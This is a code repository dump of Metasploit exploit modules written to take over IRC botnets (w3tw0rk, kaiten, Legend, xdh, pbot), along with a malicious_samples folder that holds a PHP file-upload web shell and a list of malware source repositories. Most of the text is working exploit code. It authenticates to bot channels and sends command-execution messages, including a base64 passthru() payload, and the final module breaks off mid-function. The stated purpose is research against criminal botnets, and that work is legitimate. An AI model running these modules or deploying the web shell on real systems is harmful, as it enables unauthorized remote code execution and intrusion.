├── malicious_samples ├── README.md ├── open_source_repos.md ├── mma.php ├── RC-Worm.PHP.Caracula ├── pbot.php ├── geoip.php ├── legend.txt ├── kaiten.c └── banyak_irc.pl ├── LICENSE ├── README.md ├── w3tw0rk_exec.rb ├── kaiten_exec.rb ├── legend_bot_exec.rb ├── xdh_x_exec.rb └── pbot_exec.rb /malicious_samples/README.md: -------------------------------------------------------------------------------- 1 | Warning!!! These are malicious files and are for educational purposes. 2 | 3 | All the files in this directory are not mine 4 | -------------------------------------------------------------------------------- /malicious_samples/open_source_repos.md: -------------------------------------------------------------------------------- 1 | ## Open Source Repositories 2 | 3 | - https://github.com/evilxyz/IRC-Bot - Botnet Trojan Based on IRC Protocol by evilxyz 4 | - https://github.com/eurialo/lightaidra - Lightaidra, IRC-based mass router scanner/exploiter 5 | - https://github.com/petikvx/extract-vs-2012-06 - Malware Collection 6 | - https://github.com/petikvx/malwares-collection - collection of sources of Virii - Worms - Trojan 7 | -------------------------------------------------------------------------------- /malicious_samples/mma.php: -------------------------------------------------------------------------------- 1 |

'.php_uname().'
'; 3 | echo '
'; 4 | echo '
'; 5 | if( $_POST['_upl'] == "Upload" ) { 6 | if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'uplod d0n3 in SAME file // Th3 MMA \\

'; } 7 | else { echo 'Upload GAGAL !!!

'; 8 | } } 9 | ?> 10 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2015 JT 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | 23 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # IRC Bot Hunters 2 | a collection of Metasploit PoC exploits I wrote for IRC Botnets that takes over the owner of a bot which then allows Remote Code Execution. Most IRC Botnets can be taken over by using their herders' usernames or by triggering a certain command which does shell execution. Almost all of the modules here have been accepted in the Metasploit repository. If you are looking for C&C exploit modules or pwning backdoors like r57 / c99 shell, I have also made [some modules](https://github.com/rapid7/metasploit-framework/search?utf8=%E2%9C%93&q=jay+turla) which I have pushed in the main msf repository. 3 | 4 | ![image](https://cloud.githubusercontent.com/assets/3483615/9675972/44986a28-52f7-11e5-8c1a-76cabf835cb6.png) 5 | 6 | # Accepted Metasploit Modules 7 | 8 | w3tw0rk / Pitbul IRC Bot Remote Code Execution - https://www.rapid7.com/db/modules/exploit/multi/misc/w3tw0rk_exec 9 | 10 | Legend Perl IRC Bot Remote Code Execution - https://www.rapid7.com/db/modules/exploit/multi/misc/legend_bot_exec 11 | 12 | Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution - https://www.rapid7.com/db/modules/exploit/multi/misc/xdh_x_exec 13 | 14 | PHP IRC Bot pbot eval() Remote Code Execution (Credited Only) - https://www.rapid7.com/db/modules/exploit/multi/misc/pbot_exec 15 | 16 | # Some References 17 | w3tw0rk / Pitbull Perl IRC Bot Remote Code Execution PoC Exploit - https://www.exploit-db.com/exploits/36652/ 18 | 19 | Legend Perl IRC Bot - Remote Code Execution - https://www.exploit-db.com/exploits/36836/ 20 | 21 | # Inspiration 22 | - MalwareMustDie! 23 | 24 | # Request for Metasploit Modules? 25 | Want an IRC bot pwned or you have an exploit for an IRC bot that you want to be ported to msf? Contact me at shipcodez@gmail.com 26 | 27 | I am always open for suggestions and new modules as long as you give me details and analysis of a new IRC bot in the wild. Save the world from cavities!!! 28 | -------------------------------------------------------------------------------- /w3tw0rk_exec.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: http://metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | require 'msf/core' 7 | 8 | 9 | class MetasploitModule < Msf::Exploit::Remote 10 | Rank = ExcellentRanking 11 | 12 | include Msf::Exploit::Remote::Tcp 13 | 14 | def initialize(info = {}) 15 | super(update_info(info, 16 | 'Name' => 'w3tw0rk / Pitbul IRC Bot Remote Code Execution', 17 | 'Description' => %q{ 18 | This module allows remote command execution on the w3tw0rk / Pitbul IRC Bot. 19 | }, 20 | 'Author' => 21 | [ 22 | 'Jay Turla' 23 | ], 24 | 'License' => MSF_LICENSE, 25 | 'References' => 26 | [ 27 | [ 'OSVDB', '120384' ], 28 | [ 'EDB', '36652' ] 29 | ], 30 | 'Platform' => %w{ unix win }, 31 | 'Arch' => ARCH_CMD, 32 | 'Payload' => 33 | { 34 | 'Space' => 300, # According to RFC 2812, the max length message is 512, including the cr-lf 35 | 'DisableNops' => true, 36 | 'Compat' => 37 | { 38 | 'PayloadType' => 'cmd', 39 | } 40 | }, 41 | 'Targets' => 42 | [ 43 | [ 'w3tw0rk', { } ] 44 | ], 45 | 'Privileged' => false, 46 | 'DisclosureDate' => 'Jun 04 2015', 47 | 'DefaultTarget' => 0)) 48 | 49 | register_options( 50 | [ 51 | Opt::RPORT(6667), 52 | OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']), 53 | OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']), 54 | OptString.new('CHANNEL', [true, 'IRC Channel', '#channel']) 55 | ], self.class) 56 | end 57 | 58 | def check 59 | connect 60 | 61 | response = register(sock) 62 | if response =~ /463/ or response =~ /464/ 63 | vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed") 64 | return Exploit::CheckCode::Unknown 65 | end 66 | 67 | response = join(sock) 68 | if not response =~ /353/ and not response =~ /366/ 69 | vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel") 70 | return Exploit::CheckCode::Unknown 71 | end 72 | 73 | quit(sock) 74 | disconnect 75 | 76 | if response =~ /auth/ and response =~ /logged in/ 77 | return Exploit::CheckCode::Vulnerable 78 | else 79 | return Exploit::CheckCode::Safe 80 | end 81 | end 82 | 83 | def send_msg(sock, data) 84 | sock.put(data) 85 | data = "" 86 | begin 87 | read_data = sock.get_once(-1, 1) 88 | while not read_data.nil? 89 | data << read_data 90 | read_data = sock.get_once(-1, 1) 91 | end 92 | rescue ::EOFError, ::Timeout::Error, ::Errno::ETIMEDOUT => e 93 | elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") 94 | end 95 | 96 | data 97 | end 98 | 99 | def register(sock) 100 | msg = "" 101 | 102 | if datastore['IRC_PASSWORD'] and not datastore['IRC_PASSWORD'].empty? 103 | msg << "PASS #{datastore['IRC_PASSWORD']}\r\n" 104 | end 105 | 106 | if datastore['NICK'].length > 9 107 | nick = rand_text_alpha(9) 108 | print_error("The nick is longer than 9 characters, using #{nick}") 109 | else 110 | nick = datastore['NICK'] 111 | end 112 | 113 | msg << "NICK #{nick}\r\n" 114 | msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n" 115 | 116 | response = send_msg(sock,msg) 117 | return response 118 | end 119 | 120 | def join(sock) 121 | join_msg = "JOIN #{datastore['CHANNEL']}\r\n" 122 | response = send_msg(sock, join_msg) 123 | return response 124 | end 125 | 126 | def w3tw0rk_command(sock) 127 | encoded = payload.encoded 128 | command_msg = "PRIVMSG #{datastore['CHANNEL']} :!bot #{encoded}\r\n" 129 | response = send_msg(sock, command_msg) 130 | return response 131 | end 132 | 133 | def quit(sock) 134 | quit_msg = "QUIT :bye bye\r\n" 135 | sock.put(quit_msg) 136 | end 137 | 138 | def exploit 139 | connect 140 | 141 | print_status("#{rhost}:#{rport} - Registering with the IRC Server...") 142 | response = register(sock) 143 | if response =~ /463/ or response =~ /464/ 144 | print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed") 145 | return 146 | end 147 | 148 | print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...") 149 | response = join(sock) 150 | if not response =~ /353/ and not response =~ /366/ 151 | print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel") 152 | return 153 | end 154 | 155 | print_status("#{rhost}:#{rport} - Exploiting the IRC bot...") 156 | w3tw0rk_command(sock) 157 | 158 | quit(sock) 159 | disconnect 160 | end 161 | end 162 | -------------------------------------------------------------------------------- /kaiten_exec.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: http://metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | require 'msf/core' 7 | 8 | 9 | class MetasploitModule < Msf::Exploit::Remote 10 | Rank = ExcellentRanking 11 | 12 | include Msf::Exploit::Remote::Tcp 13 | 14 | def initialize(info = {}) 15 | super(update_info(info, 16 | 'Name' => 'Kaiten DDoS IRC Bot Remote Code Execution', 17 | 'Description' => %q{ 18 | This module exploits the remote command execution vulnerability on the kaiten IRC Bot. 19 | kaiten is a known IRC based distributed denial of service client which accepts commands 20 | through its administrator via IRC. 21 | }, 22 | 'Author' => 23 | [ 24 | 'Jay Turla' 25 | ], 26 | 'License' => MSF_LICENSE, 27 | 'References' => 28 | [ 29 | [ 'URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/shellshock-vulnerability-downloads-kaiten-source-code/' ], 30 | [ 'URL', 'http://blog.malwaremustdie.org/2013/05/story-of-unix-trojan-tsunami-ircbot-w.html' ] #MalwareMustDie 31 | ], 32 | 'Platform' => %w{ unix win }, 33 | 'Arch' => ARCH_CMD, 34 | 'Payload' => 35 | { 36 | 'Space' => 300, # According to RFC 2812, the max length message is 512, including the cr-lf 37 | 'DisableNops' => true, 38 | 'Compat' => 39 | { 40 | 'PayloadType' => 'cmd', 41 | } 42 | }, 43 | 'Targets' => 44 | [ 45 | [ 'kaiten', { } ] 46 | ], 47 | 'Privileged' => false, 48 | 'DisclosureDate' => 'Oct 16 2015', 49 | 'DefaultTarget' => 0)) 50 | 51 | register_options( 52 | [ 53 | Opt::RPORT(6667), 54 | OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']), 55 | OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']), 56 | OptString.new('CHANNEL', [true, 'IRC Channel', '#channel']) 57 | ], self.class) 58 | end 59 | 60 | def check 61 | connect 62 | 63 | response = register(sock) 64 | if response =~ /463/ or response =~ /464/ 65 | vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed") 66 | return Exploit::CheckCode::Unknown 67 | end 68 | 69 | response = join(sock) 70 | if not response =~ /353/ and not response =~ /366/ 71 | vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel") 72 | return Exploit::CheckCode::Unknown 73 | end 74 | 75 | quit(sock) 76 | disconnect 77 | 78 | if response =~ /auth/ and response =~ /logged in/ 79 | return Exploit::CheckCode::Vulnerable 80 | else 81 | return Exploit::CheckCode::Safe 82 | end 83 | end 84 | 85 | def send_msg(sock, data) 86 | sock.put(data) 87 | data = "" 88 | begin 89 | read_data = sock.get_once(-1, 1) 90 | while not read_data.nil? 91 | data << read_data 92 | read_data = sock.get_once(-1, 1) 93 | end 94 | rescue ::EOFError, ::Timeout::Error, ::Errno::ETIMEDOUT => e 95 | elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") 96 | end 97 | 98 | data 99 | end 100 | 101 | def register(sock) 102 | msg = "" 103 | 104 | if datastore['IRC_PASSWORD'] and not datastore['IRC_PASSWORD'].empty? 105 | msg << "PASS #{datastore['IRC_PASSWORD']}\r\n" 106 | end 107 | 108 | if datastore['NICK'].length > 9 109 | nick = rand_text_alpha(9) 110 | print_error("The nick is longer than 9 characters, using #{nick}") 111 | else 112 | nick = datastore['NICK'] 113 | end 114 | 115 | msg << "NICK #{nick}\r\n" 116 | msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n" 117 | 118 | response = send_msg(sock,msg) 119 | return response 120 | end 121 | 122 | def join(sock) 123 | join_msg = "JOIN #{datastore['CHANNEL']}\r\n" 124 | response = send_msg(sock, join_msg) 125 | return response 126 | end 127 | 128 | def kaiten_command(sock) 129 | encoded = payload.encoded 130 | command_msg = "PRIVMSG #{datastore['CHANNEL']} :!* SH #{encoded}\r\n" 131 | response = send_msg(sock, command_msg) 132 | return response 133 | end 134 | 135 | def quit(sock) 136 | quit_msg = "QUIT :bye bye\r\n" 137 | sock.put(quit_msg) 138 | end 139 | 140 | def exploit 141 | connect 142 | 143 | print_status("#{peer} - Registering with the IRC Server...") 144 | response = register(sock) 145 | if response =~ /463/ or response =~ /464/ 146 | print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed") 147 | return 148 | end 149 | 150 | print_status("#{peer} - Joining the #{datastore['CHANNEL']} channel...") 151 | response = join(sock) 152 | if not response =~ /353/ and not response =~ /366/ 153 | print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel") 154 | return 155 | end 156 | 157 | print_status("#{peer} - Exploiting the kaiten IRC bot...") 158 | kaiten_command(sock) 159 | 160 | quit(sock) 161 | disconnect 162 | end 163 | end 164 | -------------------------------------------------------------------------------- /legend_bot_exec.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: http://metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | require 'msf/core' 7 | 8 | class MetasploitModule < Msf::Exploit::Remote 9 | 10 | Rank = ExcellentRanking 11 | 12 | include Msf::Exploit::Remote::Tcp 13 | 14 | def initialize(info = {}) 15 | super(update_info(info, 16 | 'Name' => 'Legend Perl IRC Bot Remote Code Execution', 17 | 'Description' => %q{ 18 | This module exploits a remote command execution on the Legend Perl IRC Bot . 19 | This bot has been used as a payload in the Shellshock spam last October 2014. 20 | This particular bot has functionalities like NMAP scanning, TCP, HTTP, SQL, and 21 | UDP flooding, the ability to remove system logs, and ability to gain root, and 22 | VNC scanning. 23 | 24 | Kevin Stevens, a Senior Threat Researcher at Damballa has uploaded this script 25 | to VirusTotal with a md5 of 11a9f1589472efa719827079c3d13f76. 26 | }, 27 | 'Author' => 28 | [ 29 | 'Jay Turla' # msf and initial discovery 30 | ], 31 | 'License' => MSF_LICENSE, 32 | 'References' => 33 | [ 34 | [ 'OSVDB', '121681' ], 35 | [ 'EDB', '36836' ], 36 | [ 'URL', 'https://www.damballa.com/perlbotnado/' ], 37 | [ 'URL', 'http://www.csoonline.com/article/2839054/vulnerabilities/report-criminals-use-shellshock-against-mail-servers-to-build-botnet.html' ] # Shellshock spam October 2014 details 38 | ], 39 | 'Platform' => %w{ unix win }, 40 | 'Arch' => ARCH_CMD, 41 | 'Payload' => 42 | { 43 | 'Space' => 300, # According to RFC 2812, the max length message is 512, including the cr-lf 44 | 'DisableNops' => true, 45 | 'Compat' => 46 | { 47 | 'PayloadType' => 'cmd' 48 | } 49 | }, 50 | 'Targets' => 51 | [ 52 | [ 'Legend IRC Bot', { } ] 53 | ], 54 | 'Privileged' => false, 55 | 'DisclosureDate' => 'Apr 27 2015', 56 | 'DefaultTarget' => 0)) 57 | 58 | register_options( 59 | [ 60 | Opt::RPORT(6667), 61 | OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']), 62 | OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']), 63 | OptString.new('CHANNEL', [true, 'IRC Channel', '#channel']) 64 | ], self.class) 65 | end 66 | 67 | def check 68 | connect 69 | 70 | res = register(sock) 71 | if res =~ /463/ || res =~ /464/ 72 | vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed") 73 | return Exploit::CheckCode::Unknown 74 | end 75 | 76 | res = join(sock) 77 | if !res =~ /353/ && !res =~ /366/ 78 | vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel") 79 | return Exploit::CheckCode::Unknown 80 | end 81 | 82 | quit(sock) 83 | disconnect 84 | 85 | if res =~ /auth/ && res =~ /logged in/ 86 | Exploit::CheckCode::Vulnerable 87 | else 88 | Exploit::CheckCode::Safe 89 | end 90 | end 91 | 92 | def send_msg(sock, data) 93 | sock.put(data) 94 | data = "" 95 | begin 96 | read_data = sock.get_once(-1, 1) 97 | while !read_data.nil? 98 | data << read_data 99 | read_data = sock.get_once(-1, 1) 100 | end 101 | rescue ::EOFError, ::Timeout::Error, ::Errno::ETIMEDOUT => e 102 | elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") 103 | end 104 | 105 | data 106 | end 107 | 108 | def register(sock) 109 | msg = "" 110 | 111 | if datastore['IRC_PASSWORD'] && !datastore['IRC_PASSWORD'].empty? 112 | msg << "PASS #{datastore['IRC_PASSWORD']}\r\n" 113 | end 114 | 115 | if datastore['NICK'].length > 9 116 | nick = rand_text_alpha(9) 117 | print_error("The nick is longer than 9 characters, using #{nick}") 118 | else 119 | nick = datastore['NICK'] 120 | end 121 | 122 | msg << "NICK #{nick}\r\n" 123 | msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n" 124 | 125 | send_msg(sock,msg) 126 | end 127 | 128 | def join(sock) 129 | join_msg = "JOIN #{datastore['CHANNEL']}\r\n" 130 | send_msg(sock, join_msg) 131 | end 132 | 133 | def legend_command(sock) 134 | encoded = payload.encoded 135 | command_msg = "PRIVMSG #{datastore['CHANNEL']} :!legend #{encoded}\r\n" 136 | send_msg(sock, command_msg) 137 | end 138 | 139 | def quit(sock) 140 | quit_msg = "QUIT :bye bye\r\n" 141 | sock.put(quit_msg) 142 | end 143 | 144 | def exploit 145 | connect 146 | 147 | print_status("#{rhost}:#{rport} - Registering with the IRC Server...") 148 | res = register(sock) 149 | if res =~ /463/ || res =~ /464/ 150 | print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed") 151 | return 152 | end 153 | 154 | print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...") 155 | res = join(sock) 156 | if !res =~ /353/ && !res =~ /366/ 157 | print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel") 158 | return 159 | end 160 | 161 | print_status("#{rhost}:#{rport} - Exploiting the malicious IRC bot...") 162 | legend_command(sock) 163 | 164 | quit(sock) 165 | disconnect 166 | end 167 | 168 | end 169 | -------------------------------------------------------------------------------- /xdh_x_exec.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: http://metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | require 'msf/core' 7 | 8 | class MetasploitModule < Msf::Exploit::Remote 9 | 10 | Rank = ExcellentRanking 11 | 12 | include Msf::Exploit::Remote::Tcp 13 | 14 | def initialize(info = {}) 15 | super(update_info(info, 16 | 'Name' => 'Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution', 17 | 'Description' => %q{ 18 | This module allows remote command execution on an IRC Bot developed by xdh. 19 | This perl bot was caught by Conor Patrick with his shellshock honeypot server 20 | and is categorized by Markus Zanke as an fBot (Fire & Forget - DDoS Bot). Matt 21 | Thayer also found this script which has a description of LinuxNet perlbot. 22 | 23 | The bot answers only based on the servername and nickname in the IRC message 24 | which is configured on the perl script thus you need to be an operator on the IRC 25 | network to spoof it and in order to exploit this bot or have at least the same ip 26 | to the config. 27 | }, 28 | 'Author' => 29 | [ 30 | #MalwareMustDie 31 | 'Jay Turla', # msf 32 | 'Conor Patrick', # initial discovery and botnet analysis for xdh 33 | 'Matt Thayer' # initial discovery for LinuxNet perlbot 34 | ], 35 | 'License' => MSF_LICENSE, 36 | 'References' => 37 | [ 38 | [ 'URL', 'https://conorpp.com/blog/a-close-look-at-an-operating-botnet/' ], 39 | [ 'URL', 'https://twitter.com/MrMookie/status/673389285676965889' ], # Matt's discovery 40 | [ 'URL', 'https://www.alienvault.com/open-threat-exchange/blog/elasticzombie-botnet-exploiting-elasticsearch-vulnerabilities' ] # details of what an fBot is 41 | ], 42 | 'Platform' => %w{ unix win }, 43 | 'Arch' => ARCH_CMD, 44 | 'Payload' => 45 | { 46 | 'Space' => 300, # According to RFC 2812, the max length message is 512, including the cr-lf 47 | 'DisableNops' => true, 48 | 'Compat' => 49 | { 50 | 'PayloadType' => 'cmd' 51 | } 52 | }, 53 | 'Targets' => 54 | [ 55 | [ 'xdh Botnet / LinuxNet perlbot', { } ] 56 | ], 57 | 'Privileged' => false, 58 | 'DisclosureDate' => 'Dec 04 2015', 59 | 'DefaultTarget' => 0)) 60 | 61 | register_options( 62 | [ 63 | Opt::RPORT(6667), 64 | OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']), 65 | OptString.new('NICK', [true, 'IRC Nickname', 'msfuser']), # botnet administrator name 66 | OptString.new('CHANNEL', [true, 'IRC Channel', '#channel']) 67 | ], self.class) 68 | end 69 | 70 | def check 71 | connect 72 | 73 | res = register(sock) 74 | if res =~ /463/ || res =~ /464/ 75 | vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed") 76 | return Exploit::CheckCode::Unknown 77 | end 78 | 79 | res = join(sock) 80 | if !res =~ /353/ && !res =~ /366/ 81 | vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel") 82 | return Exploit::CheckCode::Unknown 83 | end 84 | 85 | quit(sock) 86 | disconnect 87 | 88 | if res =~ /auth/ && res =~ /logged in/ 89 | Exploit::CheckCode::Vulnerable 90 | else 91 | Exploit::CheckCode::Safe 92 | end 93 | end 94 | 95 | def send_msg(sock, data) 96 | sock.put(data) 97 | data = "" 98 | begin 99 | read_data = sock.get_once(-1, 1) 100 | while !read_data.nil? 101 | data << read_data 102 | read_data = sock.get_once(-1, 1) 103 | end 104 | rescue ::EOFError, ::Timeout::Error, ::Errno::ETIMEDOUT => e 105 | elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") 106 | end 107 | 108 | data 109 | end 110 | 111 | def register(sock) 112 | msg = "" 113 | 114 | if datastore['IRC_PASSWORD'] && !datastore['IRC_PASSWORD'].empty? 115 | msg << "PASS #{datastore['IRC_PASSWORD']}\r\n" 116 | end 117 | 118 | if datastore['NICK'].length > 9 119 | nick = rand_text_alpha(9) 120 | print_error("The nick is longer than 9 characters, using #{nick}") 121 | else 122 | nick = datastore['NICK'] 123 | end 124 | 125 | msg << "NICK #{nick}\r\n" 126 | msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n" 127 | 128 | send_msg(sock,msg) 129 | end 130 | 131 | def join(sock) 132 | join_msg = "JOIN #{datastore['CHANNEL']}\r\n" 133 | send_msg(sock, join_msg) 134 | end 135 | 136 | def xdh_command(sock) 137 | encoded = payload.encoded 138 | command_msg = "PRIVMSG #{datastore['CHANNEL']} :.say #{encoded}\r\n" 139 | send_msg(sock, command_msg) 140 | end 141 | 142 | def quit(sock) 143 | quit_msg = "QUIT :bye bye\r\n" 144 | sock.put(quit_msg) 145 | end 146 | 147 | def exploit 148 | connect 149 | 150 | print_status("#{rhost}:#{rport} - Registering with the IRC Server...") 151 | res = register(sock) 152 | if res =~ /463/ || res =~ /464/ 153 | print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed") 154 | return 155 | end 156 | 157 | print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...") 158 | res = join(sock) 159 | if !res =~ /353/ && !res =~ /366/ 160 | print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel") 161 | return 162 | end 163 | 164 | print_status("#{rhost}:#{rport} - Exploiting the malicious IRC bot...") 165 | xdh_command(sock) 166 | 167 | quit(sock) 168 | disconnect 169 | end 170 | 171 | end 172 | -------------------------------------------------------------------------------- /pbot_exec.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: http://metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | require 'msf/core' 7 | 8 | 9 | class MetasploitModule < Msf::Exploit::Remote 10 | Rank = ExcellentRanking 11 | 12 | include Msf::Exploit::Remote::Tcp 13 | 14 | def initialize(info = {}) 15 | super(update_info(info, 16 | 'Name' => 'PHP IRC Bot pbot eval() Remote Code Execution', 17 | 'Description' => %q{ 18 | This module allows remote command execution on the PHP IRC bot pbot by abusing 19 | the usage of eval() in the implementation of the .php command. In order to work, 20 | the data to connect to the IRC server and channel where find pbot must be provided. 21 | The module has been successfully tested on the version of pbot analyzed by Jay 22 | Turla, and published on Infosec Institute, running over Ubuntu 10.04 and Windows XP 23 | SP3. 24 | }, 25 | 'Author' => 26 | [ 27 | 'evilcry', # pbot analysis' 28 | 'Jay Turla', # pbot analysis 29 | 'bwall', # aka @bwallHatesTwits, PoC 30 | 'juan vazquez' # Metasploit module 31 | ], 32 | 'License' => MSF_LICENSE, 33 | 'References' => 34 | [ 35 | [ 'OSVDB', '84913' ], 36 | [ 'EDB', '20168' ], 37 | [ 'URL', 'http://resources.infosecinstitute.com/pbot-analysis/'] 38 | ], 39 | 'Platform' => %w{ unix win }, 40 | 'Arch' => ARCH_CMD, 41 | 'Payload' => 42 | { 43 | 'Space' => 344, # According to RFC 2812, the max length message is 512, including the cr-lf 44 | 'BadChars' => '', 45 | 'DisableNops' => true, 46 | 'Compat' => 47 | { 48 | 'PayloadType' => 'cmd', 49 | } 50 | }, 51 | 'Targets' => 52 | [ 53 | [ 'pbot', { } ] 54 | ], 55 | 'Privileged' => false, 56 | 'DisclosureDate' => 'Nov 02 2009', 57 | 'DefaultTarget' => 0)) 58 | 59 | register_options( 60 | [ 61 | Opt::RPORT(6667), 62 | OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']), 63 | OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']), 64 | OptString.new('CHANNEL', [true, 'IRC Channel', '#channel']), 65 | OptString.new('PBOT_PASSWORD', [false, 'pbot Password', '']) 66 | ], self.class) 67 | end 68 | 69 | def check 70 | connect 71 | 72 | response = register(sock) 73 | if response =~ /463/ or response =~ /464/ 74 | vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed") 75 | return Exploit::CheckCode::Unknown 76 | end 77 | 78 | response = join(sock) 79 | if not response =~ /353/ and not response =~ /366/ 80 | vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel") 81 | return Exploit::CheckCode::Unknown 82 | end 83 | response = pbot_login(sock) 84 | quit(sock) 85 | disconnect 86 | 87 | if response =~ /auth/ and response =~ /logged in/ 88 | return Exploit::CheckCode::Vulnerable 89 | else 90 | return Exploit::CheckCode::Safe 91 | end 92 | end 93 | 94 | def send_msg(sock, data) 95 | sock.put(data) 96 | data = "" 97 | begin 98 | read_data = sock.get_once(-1, 1) 99 | while not read_data.nil? 100 | data << read_data 101 | read_data = sock.get_once(-1, 1) 102 | end 103 | rescue EOFError 104 | end 105 | data 106 | end 107 | 108 | def register(sock) 109 | msg = "" 110 | 111 | if datastore['IRC_PASSWORD'] and not datastore['IRC_PASSWORD'].empty? 112 | msg << "PASS #{datastore['IRC_PASSWORD']}\r\n" 113 | end 114 | 115 | if datastore['NICK'].length > 9 116 | nick = rand_text_alpha(9) 117 | print_error("The nick is longer than 9 characters, using #{nick}") 118 | else 119 | nick = datastore['NICK'] 120 | end 121 | 122 | msg << "NICK #{nick}\r\n" 123 | msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n" 124 | 125 | response = send_msg(sock,msg) 126 | return response 127 | end 128 | 129 | def join(sock) 130 | join_msg = "JOIN #{datastore['CHANNEL']}\r\n" 131 | response = send_msg(sock, join_msg) 132 | return response 133 | end 134 | 135 | def pbot_login(sock) 136 | login_msg = "PRIVMSG #{datastore['CHANNEL']} :.login" 137 | if datastore['PBOT_PASSWORD'] and not datastore['PBOT_PASSWORD'].empty? 138 | login_msg << " #{datastore['PBOT_PASSWORD']}" 139 | end 140 | login_msg << "\r\n" 141 | response = send_msg(sock, login_msg) 142 | return response 143 | end 144 | 145 | def pbot_command(sock) 146 | encoded = Rex::Text.encode_base64(payload.encoded) 147 | command_msg = "PRIVMSG #{datastore['CHANNEL']} :.php #{rand_text_alpha(1)} passthru(base64_decode(\"#{encoded}\"));\r\n" 148 | response = send_msg(sock, command_msg) 149 | return response 150 | end 151 | 152 | def quit(sock) 153 | quit_msg = "QUIT :bye bye\r\n" 154 | sock.put(quit_msg) 155 | end 156 | 157 | def exploit 158 | connect 159 | 160 | print_status("#{rhost}:#{rport} - Registering with the IRC Server...") 161 | response = register(sock) 162 | if response =~ /463/ or response =~ /464/ 163 | print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed") 164 | return 165 | end 166 | 167 | print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...") 168 | response = join(sock) 169 | if not response =~ /353/ and not response =~ /366/ 170 | print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel") 171 | return 172 | end 173 | 174 | print_status("#{rhost}:#{rport} - Registering with the pbot...") 175 | response = pbot_login(sock) 176 | if not response =~ /auth/ or not response =~ /logged in/ 177 | 